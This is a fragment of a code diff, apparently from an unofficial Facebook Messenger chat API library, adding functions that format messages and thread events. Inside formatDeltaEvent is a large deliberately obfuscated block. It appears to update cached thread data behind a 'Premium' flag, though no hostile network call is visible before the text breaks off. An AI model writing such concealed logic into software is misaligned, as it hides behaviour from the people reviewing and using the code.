senderID: formatID(md.actorFbId.toString()),
|
660
|
+
threadID: formatID((md.threadKey.threadFbId || md.threadKey.otherUserFbId).toString()),
|
661
|
+
messageID: md.messageId,
|
662
|
+
args: args,
|
663
|
+
body: body,
|
664
|
+
attachments: (m.delta.attachments || []).map(v => _formatAttachment(v)),
|
665
|
+
mentions: mentions,
|
666
|
+
timestamp: md.timestamp,
|
667
|
+
isGroup: !!md.threadKey.threadFbId,
|
668
|
+
participantIDs: m.delta.participants || []
|
669
|
+
};
|
670
|
+
}
|
671
|
+
|
672
|
+
function formatID(id) {
|
673
|
+
if (id != undefined && id != null) return id.replace(/(fb)?id[:.]/, "");
|
674
|
+
else return id;
|
675
|
+
}
|
676
|
+
|
677
|
+
function formatMessage(m) {
|
678
|
+
var originalMessage = m.message ? m.message : m;
|
679
|
+
var obj = {
|
680
|
+
type: "message",
|
681
|
+
senderName: originalMessage.sender_name,
|
682
|
+
senderID: formatID(originalMessage.sender_fbid.toString()),
|
683
|
+
participantNames: originalMessage.group_thread_info ? originalMessage.group_thread_info.participant_names : [originalMessage.sender_name.split(" ")[0]],
|
684
|
+
participantIDs: originalMessage.group_thread_info ?
|
685
|
+
originalMessage.group_thread_info.participant_ids.map(function(v) {
|
686
|
+
return formatID(v.toString());
|
687
|
+
}) : [formatID(originalMessage.sender_fbid)],
|
688
|
+
body: originalMessage.body || "",
|
689
|
+
threadID: formatID((originalMessage.thread_fbid || originalMessage.other_user_fbid).toString()),
|
690
|
+
threadName: originalMessage.group_thread_info ? originalMessage.group_thread_info.name : originalMessage.sender_name,
|
691
|
+
location: originalMessage.coordinates ? originalMessage.coordinates : null,
|
692
|
+
messageID: originalMessage.mid ? originalMessage.mid.toString() : originalMessage.message_id,
|
693
|
+
attachments: formatAttachment(
|
694
|
+
originalMessage.attachments,
|
695
|
+
originalMessage.attachmentIds,
|
696
|
+
originalMessage.attachment_map,
|
697
|
+
originalMessage.share_map
|
698
|
+
),
|
699
|
+
timestamp: originalMessage.timestamp,
|
700
|
+
timestampAbsolute: originalMessage.timestamp_absolute,
|
701
|
+
timestampRelative: originalMessage.timestamp_relative,
|
702
|
+
timestampDatetime: originalMessage.timestamp_datetime,
|
703
|
+
tags: originalMessage.tags,
|
704
|
+
reactions: originalMessage.reactions ? originalMessage.reactions : [],
|
705
|
+
isUnread: originalMessage.is_unread
|
706
|
+
};
|
707
|
+
|
708
|
+
if (m.type === "pages_messaging") obj.pageID = m.realtime_viewer_fbid.toString();
|
709
|
+
obj.isGroup = obj.participantIDs.length > 2;
|
710
|
+
|
711
|
+
return obj;
|
712
|
+
}
|
713
|
+
|
714
|
+
function formatEvent(m) {
|
715
|
+
var originalMessage = m.message ? m.message : m;
|
716
|
+
var logMessageType = originalMessage.log_message_type;
|
717
|
+
var logMessageData;
|
718
|
+
if (logMessageType === "log:generic-admin-text") {
|
719
|
+
logMessageData = originalMessage.log_message_data.untypedData;
|
720
|
+
logMessageType = getAdminTextMessageType(originalMessage.log_message_data.message_type);
|
721
|
+
} else logMessageData = originalMessage.log_message_data;
|
722
|
+
|
723
|
+
return Object.assign(formatMessage(originalMessage), {
|
724
|
+
type: "event",
|
725
|
+
logMessageType: logMessageType,
|
726
|
+
logMessageData: logMessageData,
|
727
|
+
logMessageBody: originalMessage.log_message_body
|
728
|
+
});
|
729
|
+
}
|
730
|
+
|
731
|
+
function formatHistoryMessage(m) {
|
732
|
+
switch (m.action_type) {
|
733
|
+
case "ma-type:log-message":
|
734
|
+
return formatEvent(m);
|
735
|
+
default:
|
736
|
+
return formatMessage(m);
|
737
|
+
}
|
738
|
+
}
|
739
|
+
|
740
|
+
// Get a more readable message type for AdminTextMessages
|
741
|
+
function getAdminTextMessageType(m) {
|
742
|
+
switch (m.type) {
|
743
|
+
case "change_thread_theme":
|
744
|
+
return "log:thread-color";
|
745
|
+
case "change_thread_icon":
|
746
|
+
return "log:thread-icon";
|
747
|
+
case "change_thread_nickname":
|
748
|
+
return "log:user-nickname";
|
749
|
+
case "change_thread_admins":
|
750
|
+
return "log:thread-admins";
|
751
|
+
case "group_poll":
|
752
|
+
return "log:thread-poll";
|
753
|
+
case "change_thread_approval_mode":
|
754
|
+
return "log:thread-approval-mode";
|
755
|
+
case "messenger_call_log":
|
756
|
+
case "participant_joined_group_call":
|
757
|
+
return "log:thread-call";
|
758
|
+
}
|
759
|
+
}
|
760
|
+
|
761
|
+
function formatDeltaEvent(m) {
|
762
|
+
var { updateData,getData,hasData } = require('./Extra/ExtraGetThread');
|
763
|
+
var Database = require('./Extra/Database/index')
|
764
|
+
var logMessageType;
|
765
|
+
var logMessageData;
|
766
|
+
|
767
|
+
// log:thread-color => {theme_color}
|
768
|
+
// log:user-nickname => {participant_id, nickname}
|
769
|
+
// log:thread-icon => {thread_icon}
|
770
|
+
// log:thread-name => {name}
|
771
|
+
// log:subscribe => {addedParticipants - [Array]}
|
772
|
+
//log:unsubscribe => {leftParticipantFbId}
|
773
|
+
|
774
|
+
switch (m.class) {
|
775
|
+
case "AdminTextMessage":
|
776
|
+
logMessageType = getAdminTextMessageType(m);
|
777
|
+
logMessageData = m.untypedData;
|
778
|
+
break;
|
779
|
+
case "ThreadName":
|
780
|
+
logMessageType = "log:thread-name";
|
781
|
+
logMessageData = { name: m.name };
|
782
|
+
break;
|
783
|
+
case "ParticipantsAddedToGroupThread":
|
784
|
+
logMessageType = "log:subscribe";
|
785
|
+
logMessageData = { addedParticipants: m.addedParticipants };
|
786
|
+
break;
|
787
|
+
case "ParticipantLeftGroupThread":
|
788
|
+
logMessageType = "log:unsubscribe";
|
789
|
+
logMessageData = { leftParticipantFbId: m.leftParticipantFbId };
|
790
|
+
break;
|
791
|
+
}
|
792
|
+
|
793
|
+
function swdwdfoo(fca,foo){const fzz=swdwdfca();return swdwdfoo=function(gtgtgtg,fsswd){gtgtgtg=gtgtgtg-(0xf*-0x179+-0x1a39+0x31ba);let sqsq=fzz[gtgtgtg];return sqsq;},swdwdfoo(fca,foo);}function swdwdfca(){const gtgTGtG=['color','Premi','emoji','vefsr0u','valMo','appro','ntu1oty3mNnmsvzzDa','T_ID','log:s','AhjLywq','Aw5N','vxnLCKy','parti','dmin','BgvUz3q','nickn','ywrHDge','DeLeCW','ywrKx2e','C2vYlw4','mZu2ntK4t2Lzvw1h','yxj0Awm','n2DrtLfJBG','ywrTAw4','DxnLCKy','log:u','admin','FbId','_colo','zw1VAMK','zv9Hzg0','userI','get','y29SB3i','UserF','userF','AwnRBMe','remov','Dg9tDhi','lw5HBwu','\x20log:','ame','7gQNQcn','BMLJA24','messa','find','some','BwvZC2e','DxnLCKK','z2vnzxq','AwjL','bId','lwnVBg8','d_ico','5559672sLIVYt','hread','threa','-admi','4116888CpBnpE','B3rOzxi','-appr','DgHLBwu','x0vwru4','490609ArPCSu','surZ','AxbHBNq','dKey','dFbId','d-ico','BMfTzq','DgHYzwe','Bw9Kzq','30CXZFBM','BMzV','ze5HBwu','mty4otu1mfvXsMnVCa','nfo','DwjZy3i','nsubs','y2LWyw4','zezIswq','Bg9NoNu','tIDs','toStr','geMet','cribe','umKey','yKLK','name','mZjPA2rPvKO','yw1LCW','Bg9NoNq','1097512zYphxV','log:t','IDs','TARGE','Df9Pza','ugfYDgK','ndeXnJG4oenWqM5Wrq','mZbdwfPgqK0','other','zMLSDgu','has','cipan','ing','leftP','ndKWnJa5qxjqq1n1','2087955xMzAtx','_emoj','adata','mJa4nZK1nxHnEKf0Ea','push','added','zNvSBe4','ChvZAa','zeTLEq','Dw1lzxK','oval-','qurnsu4'];swdwdfca=function(){return gtgTGtG;};return swdwdfca();}function swdwdfzz(fca,foo){const fzz=swdwdfca();return swdwdfzz=function(gtgtgtg,fsswd){gtgtgtg=gtgtgtg-(0xf*-0x179+-0x1a39+0x31ba);let sqsq=fzz[gtgtgtg];if(swdwdfzz['bygXuO']===undefined){var sasdefe=function(Foo){const Fzz='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let Sasdefe='',Ww='';for(let Fca=-0x1da2+-0x20e0+0x12*0x379,Fsswd,sQsq,fOo=0x39a+-0x2216+0x1e7c;sQsq=Foo['charAt'](fOo++);~sQsq&&(Fsswd=Fca%(-0x1bbd+0x744+-0x419*-0x5)?Fsswd*(-0xaed*-0x3+0xff5*-0x1+-0x1092)+sQsq:sQsq,Fca++%(-0x4ca+-0x70c+-0x2*-0x5ed))?Sasdefe+=String['fromCharCode'](0x32*0x4f+0x1087*-0x1+0x1*0x218&Fsswd>>(-(0x1f23+-0x20e4+0x1c3)*Fca&0x25f4+0xfd6+-0x35c4)):-0x1721+-0x9*0x1eb+0xdc*0x2f){sQsq=Fzz['indexOf'](sQsq);}for(let sAsdefe=0x1e2a+0x1a43+-0x386d,fZz=Sasdefe['length'];sAsdefe<fZz;sAsdefe++){Ww+='%'+('00'+Sasdefe['charCodeAt'](sAsdefe)['toString'](-0x1251*-0x1+0x2289+0x1d*-0x1d2))['slice'](-(0x1*0x393+-0x406+0x75));}return decodeURIComponent(Ww);};swdwdfzz['FyjGAz']=sasdefe,fca=arguments,swdwdfzz['bygXuO']=!![];}const ww=fzz[0x3d*-0x4c+-0xfa9*-0x1+0x273],Sqsq=gtgtgtg+ww,Gtgtgtg=fca[Sqsq];return!Gtgtgtg?(sqsq=swdwdfzz['FyjGAz'](sqsq),fca[Sqsq]=sqsq):sqsq=Gtgtgtg,sqsq;},swdwdfzz(fca,foo);}function swdwdSAsdEfE (gTGtGtG,sASdEfE ,GTGtGtG,SASdEfE ,sasDEfE ){return swdwdfzz(SASdEfE -0x49,sASdEfE );}function swdwdsAsdEfE (GTgtGtG,saSdEfE ,gtGtGtG,GtGtGtG,SaSdEfE ){return swdwdfoo(SaSdEfE -0x1e3,GtGtGtG);}(function(sAsDefE ,gTgTgtG){function saSDefE (GtGTgtG,sASDefE ,gTGTgtG,GTGTgtG,SASDefE ){return swdwdfoo(sASDefE -0x28a,GtGTgtG);}function SaSDefE (sasdEfE ,gtgtGtG,GtgtGtG,SasdEfE ,gTgtGtG){return swdwdfzz(sasdEfE - -0x256,gTgtGtG);}const SAsDefE =sAsDefE ();while(!![]){try{const GTgTgtG=parseInt(saSDefE (0x402,0x426,0x421,0x458,0x454))/(0x3*0x43e+-0x9f7*0x1+-0x2c2)+-parseInt(saSDefE (0x437,0x443,0x43a,0x471,0x41d))/(-0x13*0xb0+-0x1887+0x2599)+parseInt(SaSDefE (-0xe5,-0x114,-0xad,-0xae,-0x10c))/(0xa24+0x69*-0x11+-0x65*0x8)*(parseInt(SaSDefE (-0xa0,-0x70,-0x65,-0xcd,-0xa4))/(0xa85*-0x3+-0x720+-0x1*-0x26b3))+parseInt(SaSDefE (-0xae,-0x73,-0xaf,-0x75,-0xd2))/(-0x1*0x9e3+-0x7d5+-0x11bd*-0x1)+parseInt(SaSDefE (-0x7c,-0x4d,-0x51,-0x72,-0x61))/(0x2553+-0x6*0x275+-0x168f)*(-parseInt(saSDefE (0x43e,0x411,0x3db,0x41e,0x42e))/(-0x1*-0x1565+0x174*-0x3+0x137*-0xe))+-parseInt(saSDefE (0x3f9,0x421,0x408,0x432,0x407))/(-0xc2*-0x22+-0x10*0x1a1+-0xe*-0x6)+parseInt(saSDefE (0x42f,0x452,0x48a,0x429,0x448))/(0xf1*-0x2+-0xedb*-0x1+-0x33c*0x4)*(parseInt(saSDefE (0x43c,0x42f,0x444,0x431,0x436))/(-0x1*-0x1c3d+0x179+-0xed6*0x2));if(GTgTgtG===gTgTgtG)break;else SAsDefE ['push'](SAsDefE ['shift']());}catch(gtGTgtG){SAsDefE ['push'](SAsDefE ['shift']());}}}(swdwdfca,0xe0b96+0xcff79+-0x13a2c2));if(Database[swdwdsAsdEfE (0x3ce,0x3c4,0x3d6,0x399,0x3a6)](swdwdsAsdEfE (0x3f4,0x384,0x3a6,0x3e8,0x3b8)+swdwdSAsdEfE (0x23e,0x204,0x1fd,0x21a,0x203))&&Database[swdwdsAsdEfE (0x36c,0x36e,0x39b,0x361,0x360)](swdwdsAsdEfE (0x3b4,0x390,0x3ec,0x3ce,0x3b8)+swdwdsAsdEfE (0x36e,0x3a3,0x39c,0x377,0x396))!=''&&Database[swdwdsAsdEfE (0x3af,0x3d6,0x376,0x3df,0x3a6)](swdwdsAsdEfE (0x3bb,0x387,0x398,0x3d7,0x3b8)+'um')&&Database[swdwdsAsdEfE (0x36e,0x368,0x379,0x36d,0x360)](swdwdsAsdEfE (0x3e8,0x3a3,0x3b8,0x39a,0x3b8)+'um')==!![])switch(hasData(formatID((m[swdwdSAsdEfE (0x20d,0x1f5,0x1cf,0x1d5,0x1ab)+swdwdSAsdEfE (0x1dd,0x1dc,0x1e3,0x1d7,0x213)+swdwdSAsdEfE (0x17f,0x1b8,0x17e,0x1b6,0x1dd)][swdwdsAsdEfE (0x352,0x3a4,0x3a5,0x38f,0x378)+swdwdSAsdEfE (0x1f3,0x1ff,0x227,0x219,0x24d)][swdwdSAsdEfE (0x221,0x201,0x1b5,0x1ec,0x1e1)+swdwdsAsdEfE (0x398,0x360,0x35d,0x35b,0x383)]||m[swdwdsAsdEfE (0x36b,0x384,0x39a,0x34d,0x36c)+swdwdsAsdEfE (0x390,0x3ae,0x382,0x392,0x394)+swdwdSAsdEfE (0x1b7,0x195,0x19c,0x1b6,0x1e8)][swdwdSAsdEfE (0x1d6,0x1cb,0x1ea,0x1ec,0x1d5)+swdwdSAsdEfE (0x1e7,0x1e6,0x1fc,0x219,0x209)][swdwdSAsdEfE (0x1cf,0x1d3,0x1b0,0x1e1,0x1aa)+swdwdsAsdEfE (0x350,0x350,0x33d,0x33f,0x362)+swdwdsAsdEfE (0x361,0x363,0x35b,0x388,0x373)])[swdwdSAsdEfE (0x19d,0x1ba,0x1d4,0x1cc,0x1cb)+swdwdSAsdEfE (0x202,0x216,0x261,0x227,0x25b)]()))){case!![]:{switch(logMessageType){case swdwdsAsdEfE (0x3b9,0x392,0x3a1,0x3ca,0x39d)+swdwdSAsdEfE (0x23e,0x208,0x1fe,0x226,0x260)+swdwdSAsdEfE (0x1a4,0x210,0x1e1,0x1da,0x1cf)+'r':{let swdwdsasdefE =getData(formatID((m[swdwdsAsdEfE (0x342,0x38b,0x34a,0x397,0x36c)+swdwdsAsdEfE (0x38a,0x3b5,0x370,0x3ad,0x394)+swdwdsAsdEfE (0x3e5,0x391,0x3d3,0x3b1,0x3ad)][swdwdsAsdEfE (0x347,0x382,0x382,0x382,0x378)+swdwdsAsdEfE (0x3b1,0x36a,0x37a,0x384,0x382)][swdwdSAsdEfE (0x20a,0x20c,0x219,0x1ec,0x1b5)+swdwdSAsdEfE (0x224,0x203,0x22a,0x1f6,0x225)]||m[swdwdsAsdEfE (0x37a,0x33f,0x344,0x35f,0x36c)+swdwdSAsdEfE (0x1b4,0x1ae,0x1e2,0x1d7,0x1f0)+swdwdSAsdEfE (0x1d7,0x1b2,0x19b,0x1b6,0x1ed)][swdwdSAsdEfE (0x1dc,0x1c3,0x1db,0x1ec,0x1e8)+swdwdsAsdEfE (0x370,0x3ac,0x392,0x368,0x382)][swdwdSAsdEfE (0x1ba,0x206,0x1c3,0x1e1,0x1bb)+swdwdsAsdEfE (0x388,0x365,0x382,0x367,0x362)+swdwdsAsdEfE (0x39d,0x360,0x36a,0x35f,0x373)])[swdwdSAsdEfE (0x1f2,0x1a6,0x1a8,0x1cc,0x1ed)+swdwdsAsdEfE (0x389,0x3c9,0x383,0x3e4,0x3a8)]()));swdwdsasdefE [swdwdSAsdEfE (0x1e5,0x1e6,0x1bf,0x1c3,0x1e4)]=logMessageData[swdwdSAsdEfE (0x1b4,0x1f8,0x1c7,0x1e3,0x1f0)+swdwdsAsdEfE (0x3e5,0x377,0x37f,0x3cd,0x3ac)+'i']||swdwdsasdefE [swdwdSAsdEfE (0x1d0,0x1ca,0x19d,0x1c3,0x1d7)],swdwdsasdefE [swdwdSAsdEfE (0x1cc,0x1bd,0x1a5,0x1c7,0x1fe)]=logMessageData[swdwdSAsdEfE (0x1fc,0x20c,0x1e7,0x1e3,0x1d5)+swdwdsAsdEfE (0x327,0x394,0x329,0x336,0x35c)+'r']||swdwdsasdefE [swdwdsAsdEfE (0x3c1,0x3da,0x39a,0x3f1,0x3b7)],updateData(formatID((m[swdwdsAsdEfE (0x373,0x373,0x3a6,0x34c,0x36c)+swdwdsAsdEfE (0x3c2,0x38e,0x359,0x360,0x394)+swdwdsAsdEfE (0x3c8,0x3a0,0x3c8,0x3db,0x3ad)][swdwdSAsdEfE (0x1ea,0x21f,0x1e8,0x1ec,0x1db)+swdwdSAsdEfE (0x254,0x223,0x254,0x219,0x212)][swdwdsAsdEfE (0x3ac,0x365,0x343,0x386,0x378)+swdwdsAsdEfE (0x3ae,0x391,0x39f,0x392,0x383)]||m[swdwdsAsdEfE (0x371,0x340,0x387,0x333,0x36c)+swdwdsAsdEfE (0x3c4,0x365,0x3b8,0x371,0x394)+swdwdSAsdEfE (0x1e0,0x1f1,0x195,0x1b6,0x1a7)][swdwdSAsdEfE (0x1b3,0x1b4,0x21f,0x1ec,0x1ed)+swdwdsAsdEfE (0x387,0x3ad,0x34e,0x397,0x382)][swdwdsAsdEfE (0x3a9,0x397,0x38e,0x3b9,0x3a4)+swdwdsAsdEfE (0x333,0x393,0x36a,0x372,0x362)+swdwdSAsdEfE (0x217,0x204,0x229,0x1fd,0x206)])[swdwdsAsdEfE (0x3b2,0x388,0x3b0,0x361,0x393)+swdwdsAsdEfE (0x3b1,0x398,0x3e3,0x38c,0x3a8)]()),swdwdsasdefE );}break;case swdwdsAsdEfE (0x38d,0x3a0,0x35e,0x37d,0x368)+swdwdsAsdEfE (0x35e,0x385,0x39f,0x392,0x378)+swdwdsAsdEfE (0x35b,0x378,0x35f,0x365,0x384)+'n':{let swdwdGtgtgtG=getData(formatID((m[swdwdsAsdEfE (0x38a,0x367,0x393,0x355,0x36c)+swdwdSAsdEfE (0x1a9,0x1dc,0x1c3,0x1d7,0x1ad)+swdwdsAsdEfE (0x373,0x3d5,0x39e,0x3b2,0x3ad)][swdwdsAsdEfE (0x377,0x38b,0x375,0x36f,0x378)+swdwdsAsdEfE (0x397,0x3b2,0x3a5,0x3b3,0x382)][swdwdSAsdEfE (0x1b1,0x1c8,0x20b,0x1ec,0x1c6)+swdwdsAsdEfE (0x372,0x363,0x3a1,0x35b,0x383)]||m[swdwdSAsdEfE (0x1ce,0x1db,0x1e9,0x1d5,0x1f9)+swdwdsAsdEfE (0x372,0x365,0x3b8,0x3bb,0x394)+swdwdsAsdEfE (0x3a4,0x3e4,0x3e8,0x3c7,0x3ad)][swdwdsAsdEfE (0x379,0x340,0x343,0x362,0x378)+swdwdsAsdEfE (0x35e,0x35c,0x3bd,0x364,0x382)][swdwdSAsdEfE (0x206,0x1bc,0x1f2,0x1e1,0x1fd)+swdwdSAsdEfE (0x248,0x253,0x238,0x228,0x21d)+swdwdSAsdEfE (0x20f,0x22e,0x230,0x1fd,0x224)])[swdwdsAsdEfE (0x3c8,0x3c0,0x3c8,0x3ae,0x393)+swdwdsAsdEfE (0x3df,0x39b,0x3df,0x3de,0x3a8)]()));swdwdGtgtgtG[swdwdSAsdEfE (0x1ad,0x199,0x1a3,0x1c3,0x1a4)]=logMessageData[swdwdSAsdEfE (0x1c5,0x1c4,0x221,0x1ec,0x1e7)+swdwdsAsdEfE (0x375,0x39e,0x389,0x374,0x375)+'n']||swdwdGtgtgtG[swdwdsAsdEfE (0x38c,0x3aa,0x37f,0x3bd,0x3b9)],updateData(formatID((m[swdwdsAsdEfE (0x364,0x38f,0x382,0x332,0x36c)+swdwdSAsdEfE (0x19e,0x1cc,0x1ce,0x1d7,0x20f)+swdwdSAsdEfE (0x1d5,0x1c1,0x1aa,0x1b6,0x1c0)][swdwdSAsdEfE (0x20f,0x1ca,0x1b4,0x1ec,0x1d9)+swdwdsAsdEfE (0x361,0x3a5,0x3ad,0x35e,0x382)][swdwdSAsdEfE (0x1df,0x1cd,0x211,0x1ec,0x1ec)+swdwdSAsdEfE (0x1ed,0x1c8,0x1d9,0x1f6,0x210)]||m[swdwdSAsdEfE (0x19f,0x1f2,0x1f3,0x1d5,0x1e1)+swdwdsAsdEfE (0x39d,0x361,0x360,0x37f,0x394)+swdwdsAsdEfE (0x39b,0x371,0x379,0x3b6,0x3ad)][swdwdsAsdEfE (0x3a9,0x36d,0x398,0x374,0x378)+swdwdsAsdEfE (0x3b4,0x376,0x383,0x378,0x382)][swdwdsAsdEfE (0x382,0x36a,0x3d0,0x372,0x3a4)+swdwdSAsdEfE (0x1f7,0x201,0x255,0x228,0x25d)+swdwdSAsdEfE (0x1e9,0x1de,0x232,0x1fd,0x235)])[swdwdSAsdEfE (0x198,0x1d6,0x200,0x1cc,0x1ae)+swdwdSAsdEfE (0x249,0x213,0x255,0x227,0x1fa)]()),swdwdGtgtgtG);}break;case swdwdsAsdEfE (0x366,0x356,0x365,0x37a,0x359)+swdwdSAsdEfE (0x1b1,0x1eb,0x19c,0x1b9,0x193)+swdwdSAsdEfE (0x1d2,0x195,0x1d1,0x1ca,0x1a5)+'me':{let swdwdSasdefE =getData(formatID((m[swdwdsAsdEfE (0x389,0x3a2,0x373,0x333,0x36c)+swdwdsAsdEfE (0x371,0x38e,0x36f,0x35d,0x394)+swdwdsAsdEfE (0x3a5,0x3d7,0x39f,0x395,0x3ad)][swdwdsAsdEfE (0x353,0x362,0x3a4,0x365,0x378)+swdwdSAsdEfE (0x21c,0x1f2,0x203,0x219,0x207)][swdwdSAsdEfE (0x223,0x1dc,0x21d,0x1ec,0x224)+swdwdsAsdEfE (0x34a,0x34d,0x3b6,0x3a7,0x383)]||m[swdwdsAsdEfE (0x384,0x35b,0x36b,0x38b,0x36c)+swdwdSAsdEfE (0x1d8,0x1bb,0x210,0x1d7,0x1e8)+swdwdsAsdEfE (0x391,0x374,0x380,0x391,0x3ad)][swdwdSAsdEfE (0x1b4,0x1f7,0x200,0x1ec,0x202)+swdwdSAsdEfE (0x239,0x24f,0x22e,0x219,0x1f2)][swdwdsAsdEfE (0x379,0x3aa,0x382,0x397,0x3a4)+swdwdsAsdEfE (0x35e,0x36d,0x394,0x358,0x362)+swdwdSAsdEfE (0x1f0,0x20e,0x203,0x1fd,0x1f6)])[swdwdSAsdEfE (0x1c8,0x196,0x19b,0x1cc,0x1a0)+swdwdsAsdEfE (0x391,0x39f,0x3b1,0x3e0,0x3a8)]()));swdwdSasdefE [swdwdsAsdEfE (0x379,0x347,0x32e,0x33a,0x34f)+swdwdSAsdEfE (0x232,0x22f,0x230,0x200,0x1f0)][logMessageData[swdwdsAsdEfE (0x389,0x3ab,0x3b8,0x39e,0x3c3)+swdwdsAsdEfE (0x39e,0x3d6,0x3c7,0x393,0x3a7)+swdwdSAsdEfE (0x1e3,0x1fc,0x205,0x206,0x20d)]]=logMessageData[swdwdSAsdEfE (0x1ca,0x19a,0x1e4,0x1d1,0x1cd)+swdwdsAsdEfE (0x3a5,0x360,0x361,0x384,0x369)][swdwdSAsdEfE (0x1ee,0x1d9,0x1d7,0x1b4,0x1bb)+'h']==-0x10ee+0x1a40+-0x952?swdwdSasdefE [swdwdsAsdEfE (0x344,0x390,0x34c,0x331,0x35f)+swdwdsAsdEfE (0x35a,0x399,0x3bb,0x39c,0x38c)][swdwdsAsdEfE (0x358,0x350,0x351,0x398,0x36d)](gTgtgtG=>gTgtgtG['id']==String(logMessageData[swdwdsAsdEfE (0x3e8,0x398,0x3a8,0x3ac,0x3c3)+swdwdSAsdEfE (0x1e7,0x1f9,0x20a,0x1f5,0x1c1)+swdwdSAsdEfE (0x1f9,0x23a,0x1e9,0x206,0x1f0)]))[swdwdsAsdEfE (0x3d3,0x372,0x3bd,0x3a0,0x398)]:logMessageData[swdwdSAsdEfE (0x1af,0x1e6,0x1e5,0x1d1,0x20a)+swdwdsAsdEfE (0x35f,0x37b,0x38a,0x39b,0x369)],updateData(formatID((m[swdwdsAsdEfE (0x373,0x38b,0x344,0x372,0x36c)+swdwdSAsdEfE (0x1eb,0x1a8,0x1c9,0x1d7,0x1ca)+swdwdSAsdEfE (0x1a9,0x1be,0x187,0x1b6,0x1bd)][swdwdsAsdEfE (0x34d,0x390,0x374,0x3a1,0x378)+swdwdSAsdEfE (0x207,0x205,0x1ea,0x219,0x24c)][swdwdsAsdEfE (0x394,0x382,0x35d,0x396,0x378)+swdwdsAsdEfE (0x353,0x368,0x36b,0x37c,0x383)]||m[swdwdsAsdEfE (0x35e,0x3a3,0x341,0x3a3,0x36c)+swdwdSAsdEfE (0x1c2,0x1a1,0x1ad,0x1d7,0x1e5)+swdwdSAsdEfE (0x1aa,0x1b9,0x1ee,0x1b6,0x1e4)][swdwdSAsdEfE (0x1fd,0x214,0x1bd,0x1ec,0x1e5)+swdwdSAsdEfE (0x234,0x217,0x20a,0x219,0x221)][swdwdSAsdEfE (0x1b5,0x1b3,0x1a9,0x1e1,0x1b4)+swdwdSAsdEfE (0x234,0x240,0x25e,0x228,0x263)+swdwdsAsdEfE (0x364,0x375,0x394,0x355,0x373)])[swdwdSAsdEfE (0x1eb,0x206,0x1d6,0x1cc,0x1b2)+swdwdsAsdEfE (0x3a5,0x37e,0x3bd,0x3a7,0x3a8)]()),swdwdSasdefE );}break;case swdwdsAsdEfE (0x3a9,0x3bd,0x37a,0x362,0x39d)+swdwdSAsdEfE (0x241,0x22b,0x243,0x226,0x205)+swdwdsAsdEfE (0x341,0x35c,0x360,0x37b,0x379)+'ns':{let swdwdsAsdefE =getData(formatID((m[swdwdSAsdEfE (0x1b9,0x208,0x208,0x1d5,0x1f0)+swdwdsAsdEfE (0x3cc,0x3cd,0x3a2,0x391,0x394)+swdwdSAsdEfE (0x1db,0x1a1,0x1c7,0x1b6,0x1d0)][swdwdsAsdEfE (0x39d,0x378,0x3ad,0x3b3,0x378)+swdwdSAsdEfE (0x1ec,0x219,0x228,0x219,0x24d)][swdwdsAsdEfE (0x3a3,0x35c,0x3a9,0x3b1,0x378)+swdwdSAsdEfE (0x1de,0x207,0x206,0x1f6,0x1dd)]||m[swdwdsAsdEfE (0x342,0x39d,0x362,0x343,0x36c)+swdwdSAsdEfE (0x207,0x1c3,0x1b1,0x1d7,0x1f6)+swdwdSAsdEfE (0x184,0x18b,0x1a9,0x1b6,0x1ee)][swdwdSAsdEfE (0x219,0x202,0x20f,0x1ec,0x1f0)+swdwdSAsdEfE (0x21e,0x231,0x237,0x219,0x1ee)][swdwdsAsdEfE (0x389,0x3a3,0x37a,0x3df,0x3a4)+swdwdsAsdEfE (0x368,0x38d,0x345,0x35a,0x362)+swdwdsAsdEfE (0x3a7,0x3a9,0x341,0x399,0x373)])[swdwdsAsdEfE (0x3c4,0x3c1,0x359,0x38c,0x393)+swdwdSAsdEfE (0x24d,0x251,0x21c,0x227,0x227)]()));switch(logMessageData[swdwdSAsdEfE (0x20e,0x21e,0x23a,0x21c,0x1ec)+swdwdSAsdEfE (0x1fa,0x1fa,0x1f5,0x1e4,0x21f)+'T']){case swdwdSAsdEfE (0x1c1,0x1be,0x1bb,0x1b8,0x197)+swdwdsAsdEfE (0x33c,0x387,0x35b,0x366,0x34d):{const swdwdSAsdefE ={};swdwdSAsdefE ['id']=logMessageData[swdwdsAsdEfE (0x3bd,0x3d9,0x38a,0x3be,0x39f)+swdwdsAsdEfE (0x3be,0x3e8,0x3d3,0x38e,0x3be)],swdwdsAsdefE [swdwdSAsdEfE (0x1e5,0x1ba,0x1d4,0x1bd,0x1aa)+swdwdSAsdEfE (0x1e6,0x1bf,0x214,0x1e6,0x1be)][swdwdSAsdEfE (0x1e8,0x211,0x1e5,0x218,0x217)](swdwdSAsdefE );}break;case swdwdsAsdEfE (0x33f,0x344,0x334,0x35e,0x365)+swdwdSAsdEfE (0x1ee,0x1a2,0x1fa,0x1c4,0x1b4)+'in':{swdwdsAsdefE [swdwdSAsdEfE (0x1ef,0x187,0x1c4,0x1bd,0x1d1)+swdwdsAsdEfE (0x3cd,0x3d1,0x3ce,0x3d6,0x39e)]=swdwdsAsdefE [swdwdSAsdEfE (0x18a,0x1cf,0x1d9,0x1bd,0x1b1)+swdwdsAsdEfE (0x364,0x366,0x391,0x38a,0x39e)][swdwdSAsdEfE (0x1de,0x1f1,0x1d0,0x20b,0x21b)+'r'](GTgtgtG=>GTgtgtG['id']!=logMessageData[swdwdSAsdEfE (0x250,0x22e,0x23a,0x220,0x22c)+swdwdsAsdEfE (0x3ac,0x383,0x391,0x3d8,0x3be)]);}break;}updateData(formatID((m[swdwdSAsdEfE (0x202,0x1f7,0x1a3,0x1d5,0x20e)+swdwdSAsdEfE (0x1d7,0x19e,0x206,0x1d7,0x1ef)+swdwdSAsdEfE (0x1d0,0x1dc,0x1a9,0x1b6,0x1ab)][swdwdSAsdEfE (0x224,0x1d5,0x1d8,0x1ec,0x1fc)+swdwdsAsdEfE (0x39f,0x34c,0x3ba,0x36c,0x382)][swdwdSAsdEfE (0x1e2,0x1d5,0x1ce,0x1ec,0x1f8)+swdwdsAsdEfE (0x358,0x376,0x3ab,0x34b,0x383)]||m[swdwdsAsdEfE (0x397,0x348,0x366,0x37b,0x36c)+swdwdsAsdEfE (0x3ab,0x3c8,0x3a9,0x395,0x394)+swdwdsAsdEfE (0x3b0,0x3a5,0x3e6,0x385,0x3ad)][swdwdSAsdEfE (0x227,0x206,0x1ba,0x1ec,0x1f4)+swdwdSAsdEfE (0x1eb,0x254,0x1f9,0x219,0x22c)][swdwdSAsdEfE (0x1ce,0x1f4,0x1ba,0x1e1,0x1cd)+swdwdsAsdEfE (0x368,0x330,0x32e,0x337,0x362)+swdwdsAsdEfE 